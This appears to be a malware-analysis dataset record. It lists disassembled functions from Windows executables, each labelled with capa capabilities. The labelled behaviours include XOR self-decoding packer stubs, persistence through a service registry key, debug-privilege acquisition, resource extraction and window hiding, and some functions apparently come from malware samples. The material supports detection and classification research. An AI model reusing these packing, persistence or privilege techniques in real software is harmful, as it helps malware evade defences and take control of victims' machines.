joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419f9a
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x4343bc
push 1
push ebx
push 0x4344ac
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x41a0cf
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push esi
push ecx
push 0x43449c
mov esi, dword [eax]
push eax
mov ecx, dword [esi]
call dword [0x432260]
call dword [esi]
test eax, eax
js 0x41a0bb
cmp byte [ebp + 8], bl
je 0x41a000
mov eax, dword [ebp - 8]
push 2
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0x14]
mov ecx, esi
call dword [0x432260]
call esi
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x50]
mov ecx, esi
call dword [0x432260]
call esi
cmp dword [ebp + 0x18], ebx
je 0x41a031
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x1c]
mov ecx, esi
call dword [0x432260]
call esi
mov eax, dword [ebp - 4]
push ebx
mov ecx, dword [eax]
mov esi, dword [ecx + 0x44]
mov ecx, esi
cmp dword [ebp + 0x1c], ebx
jne 0x41a048
push 0x4325b4
jmp 0x41a04b
push dword [ebp + 0x1c]
push eax
call dword [0x432260]
call esi
cmp dword [ebp + 0x20], ebx
je 0x41a06f
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x2c]
mov ecx, esi
call dword [0x432260]
call esi
cmp dword [ebp + 0x14], ebx
je 0x41a08a
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x24]
mov ecx, esi
call dword [0x432260]
call esi
mov eax, dword [ebp - 8]
push 1
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0x18]
mov ecx, esi
call dword [0x432260]
call esi
test eax, eax
js 0x41a0a8
mov bl, 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x432260]
call esi
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x432260]
call esi
pop esi
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x41a15d
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
setne al
ret 8
Function at 0x41a1d2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ecx
push esi
push edi
push 0x4336c4
push dword [esp + 0x18]
push dword [0x43ffe8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x41a2eb
push esi
push dword [0x43ffe8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x41a2eb
push esi
push dword [0x43ffe8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41a2eb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x41a2eb
push ebx
push ebp
push edi
xor ebp, ebp
push 2
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x41a2e3
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x41a2dc
push edi
push esi
push eax
call fcn.0041fb60
add esp, 0xc
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x10]
push eax
push ebp
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x41a2d5
push ebp
push dword [esp + 0x14]
call fcn.0041a136
mov ecx, dword [esp + 0x10]
mov edi, eax
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x432260]
call esi
test edi, edi
je 0x41a2d5
mov eax, dword [edi + 8]
mov dword [edi + 8], ebp
test eax, eax
jne 0x41a2c3
push 0xffffff
lea eax, [esp + 0x18]
push eax
push dword [edi + 4]
call sub.gdiplus.dll_GdipCreateHBITMAPFromBitmap
test eax, eax
je 0x41a2c3
mov dword [edi + 8], eax
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x432260]
mov ecx, edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
jmp 0x41a2ed
xor eax, eax
pop edi
pop esi
pop ecx
pop ecx
ret 4

Function at 0x41a93d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0041e770
cmp word [0x448422], 0
je 0x41a9d9
push esi
push 6
push dword [0x43d724]
mov esi, 0x448422
push esi
call fcn.0040bee0
push eax
call fcn.00411b89
test eax, eax
jne 0x41a9d8
push 0x447420
call fcn.0041a714
push 0x800
push esi
lea eax, [ebp - 0x1024]
push eax
call fcn.004101ac
lea eax, [ebp - 0x1024]
push eax
call fcn.00422c83
xor ecx, ecx
push 0x1e
push ecx
mov word [ebp + eax*2 - 0x1022], cx
lea eax, [ebp - 0x20]
push eax
call fcn.0041f830
add esp, 0x10
mov dword [ebp - 0x1c], 3
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop esi
leave
ret
Function at 0x41aa1d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [0x43d73c], 0
push ebx
push esi
push edi
mov ebx, 0x400
jne 0x41aa68
push 0x64
lea eax, [ebp - 0x12c]
push eax
push 0xf
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ax, word [ebp - 0x12c]
mov word [0x45ec68], ax
xor eax, eax
mov word [0x45ec6a], ax
mov dword [0x43d73c], 0x45ec68
push 0x32
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041007d
mov edi, dword [ebp + 0x10]
xor eax, eax
mov esi, dword [ebp + 0x14]
push esi
push edi
push 0x43d72c
mov word [edi], ax
lea eax, [ebp - 0x64]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor eax, eax
mov word [edi + esi*2 - 2], ax
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x41acc4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041e770
cmp byte [0x449428], 0
je 0x41ad72
push 0x800
lea eax, [ebp - 0x200c]
push eax
push dword [ebp + 8]
call fcn.0041c200
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41ad72
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1000
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41ad69
mov eax, dword [ebp - 4]
mov ecx, 0x7ff
shr eax, 1
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x41ad4d
mov eax, ecx
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x100c], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.004101ac
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8
Function at 0x41ae24
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x2004
call fcn.0041e770
mov ecx, dword [esp + 0x2014]
push ebx
xor ebx, ebx
push esi
test ecx, ecx
je 0x41ae3f
mov byte [ecx], bl
mov edx, dword [esp + 0x2020]
test edx, edx
je 0x41ae4c
mov byte [edx], bl
mov esi, dword [esp + 0x2010]
test esi, esi
je 0x41af28
movzx eax, word [esi]
test ax, ax
je 0x41af28
push ebp
mov ebp, dword [esp + 0x201c]
push edi
mov dword [esp + 0x10], ebx
mov edi, eax
add esi, 2
cmp di, 0x3d
jne 0x41ae97
test ebp, ebp
je 0x41aea3
test ebx, ebx
jne 0x41aea3
test ecx, ecx
je 0x41ae8e
mov byte [ecx], 1
mov ebx, dword [esp + 0x201c]
jmp 0x41aec7
cmp di, 0xd
je 0x41aedc
cmp di, 0xa
je 0x41aedf
mov eax, dword [esp + 0x201c]
mov word [eax], di
add eax, 2
mov edi, dword [esp + 0x202c]
mov dword [esp + 0x201c], eax
lea eax, [edi - 2]
cmp dword [esp + 0x10], eax
jge 0x41aed7
movzx eax, word [esi]
inc dword [esp + 0x10]
mov edi, eax
test ax, ax
jne 0x41ae76
jmp 0x41aedf
mov byte [edx], 1
jmp 0x41aee6
add esi, 2
mov edi, dword [esp + 0x202c]
mov eax, dword [esp + 0x201c]
xor ecx, ecx
mov word [eax], cx
test ebp, ebp
je 0x41af22
xor eax, eax
mov word [ebp], ax
test ebx, ebx
je 0x41af22
push 0x1000
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push edi
lea eax, [esp + 0x18]
push eax
push ebp
call fcn.004101ac
xor eax, eax
mov word [ebx], ax
pop edi
mov eax, esi
pop ebp
jmp 0x41af2a
xor eax, eax
pop esi
pop ebx
add esp, 0x2004
ret 0x18
Function at 0x41d523
Capabilities:
Hide graphical window

Disassembly:
and dword [0x447404], 0
push 1
push dword [esp + 8]
mov byte [0x44740d], 1
mov byte [0x44740e], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 2
push dword [esp + 0xc]
call fcn.004012c3
cmp dword [0x45ec58], 0
jne 0x41d563
cmp byte [0x44741b], 0
je 0x41d56c
cmp dword [0x447414], 0
jne 0x41d57f
push 0
push 1
push 0x111
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
ret 4

Function at 0x41d67b
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0041e770
cmp byte [0x449428], 0
je 0x41d70a
cmp word [0x44942a], 0
je 0x41d70a
push esi
push 0x800
lea eax, [ebp - 0x1008]
push eax
push 0x44942a
call fcn.0041c200
lea eax, [ebp - 8]
xor esi, esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41d709
push dword [ebp + 8]
call fcn.00422c83
pop ecx
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret 4

Function at 0x41d70e
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0041e770
push esi
push dword [ebp + 8]
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push dword [ebp + 8]
call fcn.0040ff31
mov esi, eax
test esi, esi
je 0x41d766
movzx ecx, word [esi]
push ecx
jmp 0x41d751
add esi, 2
movzx eax, word [esi]
push eax
call fcn.0041004d
test al, al
jne 0x41d74a
push esi
push str.sfxpar
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
pop esi
leave
ret 4
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x330e1d27
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x120a6e12
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
mov ebx, 0x40915c
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x6ece2269
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4310d2
mov ebx, 0x42f3f8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7ff5df2
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40267e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, ecx
xor esi, esi
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], esi
je 0x4026ec
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov dword [ebp - 4], eax
mov ebx, esi
mov ecx, dword [eax + 0x1c]
add ecx, edi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x20]
add ecx, edi
mov dword [ebp - 8], ecx
cmp dword [eax + 0x14], esi
jbe 0x4026eb
mov eax, dword [ecx + ebx*4]
add eax, edi
push 0x401510
push eax
call dword [0x406010]
pop ecx
test eax, eax
mov eax, dword [ebp - 4]
pop ecx
je 0x4026d9
mov ecx, dword [ebp - 8]
inc ebx
cmp ebx, dword [eax + 0x14]
jb 0x4026b4
jmp 0x4026eb
mov eax, dword [eax + 0x24]
mov esi, dword [ebp - 0xc]
lea eax, [eax + ebx*2]
movzx eax, word [eax + edi]
mov esi, dword [esi + eax*4]
add esi, edi
pop ebx
call fcn.004036e3
sub eax, dword [0x406040]
xor ecx, ecx
cmp eax, 0x7fff
pop edi
cmova esi, ecx
mov eax, esi
pop esi
leave
ret
Function at 0x4033bb
Capabilities:
Accept command line arguments
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x401180
mov dword [ebp - 8], ecx
call edi
push eax
call dword [0x406008]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x403406
add esi, 0x2a
push 0x20
push esi
call dword [0x406004]
pop ecx
pop ecx
test eax, eax
jne 0x40340d
push 0xffffffffffffffff
push 0x4011ac
mov ecx, 0x406044
call fcn.00402568
xor al, al
pop edi
pop esi
pop ebx
leave
ret
sub eax, esi
sar eax, 1
cmp eax, 2
jae 0x403432
push 0xffffffffffffffff
mov esi, 0x406044
push 0x4011c0
mov ecx, esi
call fcn.00402568
push 0xffffffffffffffff
call edi
push eax
mov ecx, esi
jmp 0x403401
lea edi, [eax + eax]
lea eax, [edi + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov dword [ebp - 0x18], ebx
test ebx, ebx
jne 0x40345a
push 0xffffffffffffffff
push 0x4011d4
jmp 0x4033fc
push edi
push esi
push ebx
call dword [0x40601c]
add esp, 0xc
xor eax, eax
mov word [edi + ebx], ax
push ebx
xor ebx, ebx
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x4034a7
push 0xffffffffffffffff
push 0x4011e8
mov esi, 0x406044
mov ecx, esi
call fcn.00402568
push 0xa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.004024ea
jmp 0x403406
mov esi, dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push ebx
push ebx
push ebx
push 4
push eax
call esi
mov ebx, eax
test ebx, ebx
jne 0x4034c4
push 0xffffffffffffffff
push 0x4011fc
jmp 0x403486
push 0x20
push ebx
push dword [ebp - 8]
call dword [0x40601c]
add esp, 0xc
call fcn.00403616
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x403406
mov eax, dword [ebp - 8]
mov ecx, dword [ebx + 0x20]
add eax, 0x18
mov dword [ebp - 4], ecx
mov edx, eax
mov ecx, edi
mov dword [ebp - 8], eax
call fcn.004035c0
test al, al
je 0x403406
lea edx, [ebp - 4]
mov ecx, edi
call fcn.004035c0
test al, al
je 0x403406
xor eax, eax
push eax
push eax
push eax
mov eax, dword [ebp - 8]
push 2
push dword [eax]
call esi
mov ecx, eax
mov dword [ebp - 8], ecx
test ecx, ecx
jne 0x40353a
push 0xffffffffffffffff
push 0x401210
jmp 0x403486
mov eax, dword [ebx + 0x24]
lea esi, [ebx + 0x28]
add eax, 0xa
lea eax, [ebx + eax*4]
mov dword [ebp - 0xc], eax
cmp esi, eax
je 0x40356b
mov edx, dword [esi]
add edx, ecx
mov ecx, edi
call fcn.004035c0
test al, al
je 0x403406
mov ecx, dword [ebp - 8]
add esi, 4
cmp esi, dword [ebp - 0xc]
jne 0x40354d
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x403584
push 0xffffffffffffffff
push 0x401224
jmp 0x403486
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
call edi
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x10]
call esi
push ebx
call edi
push dword [ebp - 0x14]
call esi
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
jmp 0x403408
Function at 0x4012f0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0x38], ecx
mov byte [ebp - 0x14], 0
xor eax, eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
mov dword [ebp - 0x2c], 0
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], 0xc
lea edx, [ebp - 0x14]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], 1
push 1
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov edx, dword [ebp - 0x38]
mov byte [edx + 5], 0
mov dword [ebp - 0x30], 0
jmp 0x40136a
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 5
jge 0x40140c
push 0
push 0x80
push 3
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0xc0000000
push 0x42c5c8
call dword [0x436f14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
je 0x40139e
jmp 0x40140c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 5
jne 0x4013bb
mov edx, dword [ebp - 0x38]
mov byte [edx + 4], 1
xor al, al
jmp 0x401451
cmp dword [ebp - 0x34], 2
jne 0x4013cb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401361
cmp dword [ebp - 0x34], 0xe7
je 0x4013d8
xor al, al
jmp 0x401451
push 0
push 0x42c5c8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
test eax, eax
jne 0x401407
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
je 0x4013fe
cmp dword [ebp - 0x34], 0x79
jne 0x401403
jmp 0x401361
xor al, al
jmp 0x401451
jmp 0x401361
mov dword [ebp - 0x18], 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x401440
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x1c]
push edx
call dword [0x436f24]
xor al, al
jmp 0x401451
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x1c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x38]
mov byte [edx + 5], 1
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401490
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4014af
mov ecx, dword [ebp - 4]
and ecx, 0x10
je 0x4014b3
xor al, al
jmp 0x4014b5
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x401920
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov byte [ebp - 5], 0
mov dword [ebp - 0xc], 4
mov eax, dword [ebp + 0xc]
mov byte [eax], 0
lea ecx, [ebp - 0x10]
push ecx
push 0x42c644
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40198b
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0x42c684
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp dword [ebp - 0x14], 0
sete cl
mov byte [ebp - 5], cl
mov edx, dword [ebp + 0xc]
mov byte [edx], 1
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x4019a0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
push eax
push str.SystemCurrentControlSetServicesNvStUSBParametersVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4019f4
push 4
lea ecx, [ebp + 8]
push ecx
push 4
push 0
push 0x42c6cc
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ecx, ecx
cmp dword [ebp - 0xc], 0
sete cl
mov byte [ebp - 1], cl
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x402b00
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x435b3c]
xor eax, ebp
mov dword [ebp - 8], eax
mov byte [ebp - 1], 0
push 0x94
push 0
lea eax, [ebp - 0xa0]
push eax
call fcn.00414b50
add esp, 0xc
mov dword [ebp - 0xa0], 0x94
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 2
jne 0x402b63
cmp dword [ebp - 0x9c], 6
jb 0x402b63
cmp dword [ebp - 0x98], 2
jb 0x402b63
mov byte [ebp - 1], 1
mov al, byte [ebp - 1]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00413d9d
mov esp, ebp
pop ebp
ret
Function at 0x402cf0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 1], 0
push 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402d8a
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402d8a
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
push eax
call fcn.00402aa0
add esp, 4
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov edx, dword [ebp + 0x14]
cmp dword [edx], 0
je 0x402d80
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
call fcn.004147e0
add esp, 0xc
mov byte [ebp - 1], 1
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret

Function at 0x402e70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402e9f
cmp dword [ebp - 4], 0
je 0x402e9b
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402edf
cmp dword [ebp - 4], 0
jne 0x402ea9
xor eax, eax
jmp 0x402edf
mov edx, dword [ebp + 8]
push edx
push str.SeDebugPrivilege
mov eax, dword [ebp - 4]
push eax
call fcn.00402da0
add esp, 0xc
test eax, eax
jne 0x402ed0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402edf
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403160
Capabilities:
Create directory
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x435b3c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x250]
push eax
push 0x42c768
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x5c
lea ecx, [ebp - 0x250]
push ecx
call fcn.004064c0
add esp, 8
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
je 0x40321e
mov edx, dword [ebp - 0x254]
mov byte [edx], 0
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x250]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0xffffffff
jne 0x4031e7
push 0
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x4031f4
mov eax, dword [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x250]
push ecx
call fcn.00402ef0
add esp, 4
call fcn.00402b00
movzx edx, al
test edx, edx
je 0x40321e
lea eax, [ebp - 0x250]
push eax
call fcn.004030b0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00413d9d
mov esp, ebp
pop ebp
ret